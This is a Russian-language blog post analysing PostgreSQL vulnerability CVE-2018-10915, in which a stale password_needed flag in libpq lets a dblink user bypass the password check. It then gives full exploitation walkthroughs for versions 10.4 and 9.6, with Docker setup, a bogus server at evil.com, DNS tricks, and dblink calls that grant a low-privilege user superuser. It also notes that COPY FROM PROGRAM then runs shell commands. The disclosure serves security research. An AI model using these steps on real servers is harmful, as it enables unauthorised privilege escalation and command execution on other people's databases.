![КДПВ](https://habrastorage.org/webt/jx/p4/br/jxp4br2he9tokl9esruwbnx7j78.png)
Не секрет, что стейт-машины среди нас. Они буквально повсюду, от UI до сетевого стека. Иногда сложные, иногда простые. Иногда security-related, иногда не очень. Но, зачастую, довольно увлекательны для изучения :) Сегодня я хочу рассказать об одном забавном случае с PostgreSQL — CVE-2018-10915, которая позволяла повышать привилегии до superuser.
Небольшое интро
Как вы знаете, managed databases шагают по свету. Оно и не удивительно — если у вас простое, не требовательное приложение то зачем чертыхаться с приготовлением собственной базы. Ведь у большинства облачных (или специализированных) провайдеров можно накликать себе MySQL/PostgreSQL/MongoDB/etc базу и жить припеваючи. Разумеется, это повлекло дополнительные проблемы, т.к. если раньше для эксплуатации большинства проблем безопасности в базах данных тебе нужно было сначала расхачить приложеньку (что само по себе game over в большинстве случаев), то теперь они голой жопой своим интерфейсом стоят к злоумышленнику. Тут должна быть ремарка про то что следующем барьером должна быть качественная инфраструктура и это действительно так, но сегодня не об этом.
Суть CVE-2018-10915
- в большинстве случаев PostgreSQL не требует аутентификации для локальных подключений. Пример из официального docker-образа:
# pg_hba.conf from PostgreSQL docker image
# note: debian pkg marked only "local" connections as trusted
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
- благодаря расширениям dblink и postgres_fdw можно подключаться к удаленным базам. И судя по форумам об их наличии не редко просят потребители ;)
- авторы уже обжигались на повышении привилегий, поэтому сделали хак с запретом подключения без аутентификации:
// https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639
static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);
ereport(ERROR,
(errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the server does not request a password."),
errhint("Target server's authentication method must be changed.")));
}
}
}
// https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314
int
PQconnectionUsedPassword(const PGconn *conn)
{
if (!conn)
return false;
if (conn->password_needed)
return true;
else
return false;
}
- флажок
password_needed
устанавливается стейт-машиной после получения от сервера сообщенияAUTH_REQ_MD5
илиAUTH_REQ_PASSWORD
libpq
умеет обходить несколько IP (pg 9.x) или хостов (pg 10.x/11.x) в поисках подходящего- стейт-машина переходит к следующему IP/хосту после установки флага
password_needed
в двух удобных, для нас, случаях:
- мы хотим writable сессию (
target_session_attrs=read-write
), а сервер в read-only - при получении ошибки
unknown application_name
- мы хотим writable сессию (
- при переходе к следующему IP/хосту вызывается pqDropConnection, которая очень выборочно чистит данные о подключении (т.к. часть из них может понадобится для реконнекта). Hint:
password_needed
не сбрасывается - это позволяет байпасить проверку
dblink_security_check
, т.к. при подключении к следующему хосту флаг остается с предыдущим значением - PROFIT
Таким образом, если у нас есть любой пользователь с доступом к dblink
и PostgreSQL с trusted connections для этого хоста — мы можем забайпасить требование аутентификации с паролем, подключиться от имени суперюзера postgres
, и выполнять от его имени что угодно (например, произвольные команды с помощью COPY foo FROM PROGRAM 'whoami';
).
От теории к практике — PostgreSQL 10.4!
Но одной теорией сыт не будешь, поэтому я подготовил небольшой пример эксплуатации этой уязвимости. Начнем мы с PostgreSQL 10.4.
- для начала, напишем и запустим простенький PostgreSQL сервер (bogus-pgsrv), который будет на любой запрос требовать аутентификацию по паролю и после его получения отправлять ошибку
ERRCODE_APPNAME_UNKNOWN
:
$ psql "host=evil.com user=test password=test application_name=bar"
psql: ERROR: unknown app name
could not connect to server: Connection refused
Is the server running on host "evil.com" (1.1.1.1) and accepting
TCP/IP connections on port 5432?
- теперь подготовим тестовый PostgreSQL:
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4
e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545
$ psql "host=localhost user=postgres password=somepass" <<'SQL'
CREATE USER test WITH PASSWORD 'test';
CREATE DATABASE test;
\c test
CREATE EXTENSION dblink;
SQL
- проверяем что у пользователя
test
нет специфичных прав:
$ psql "host=localhost user=test password=test" <<'SQL'
\du
SQL
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
test
- отлично, теперь эксплуатируем:
$ psql "host=localhost user=test password=test" <<'SQL'
select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar');
select dblink_exec('ALTER USER test WITH SUPERUSER;');
\du
SQL
dblink_connect
----------------
OK
(1 row)
dblink_exec
-------------
ALTER ROLE
(1 row)
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
test | Superuser
- все. Можем делать что вздумается ^_^
От теории к практике — PostgreSQL 9.6!
С PostgreSQL 9.x все чуть сложнее, т.к. он не поддерживает перечисления списка хостов для подключения. Но если адрес резолвится в несколько IP он обойдет их все! А т.к. у IPv6 адресов приоритет (см. RFC6724) мы можем сделать все тоже самое просто отвечая своим IP на AAAA запрос, и 127.0.0.1 на A + дропая коннекты на несколько секунд после отправки ERRCODE_APPNAME_UNKNOWN
:
- подготавливаем DNS:
$ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com
2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1
2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba
- запускаем все тот же bogus pgsql
- и снова подготавливаем тестовый PostgreSQL (у докера должен работать IPv6, это важно):
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6
dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c
$ psql "host=localhost user=postgres password=somepass" <<'SQL'
CREATE USER test WITH PASSWORD 'test';
CREATE DATABASE test;
\c test
CREATE EXTENSION dblink;
SQL
- эксплуатируем:
$ psql "host=localhost user=test password=test" <<'SQL'
select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar');
select dblink_exec('ALTER USER test WITH SUPERUSER;');
\du
SQL
dblink_connect
----------------
OK
(1 row)
dblink_exec
-------------
ALTER ROLE
(1 row)
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
test | Superuser | {}
- все. Можем делать что вздумается ^_^
Заключение
Хотел в заключение написать что-то умное, но, к сожалению, у меня нет хорошего, простого и универсального способа проверить что с вашей стейт-машиной все хорошо. Есть разнообразные попытки, но из того что я видел они или слишком узкоспециализированы, или все так же плохо справляются с логическими ошибками. Остается надеяться на бдительность и дополнительную пару глаз на ревью :(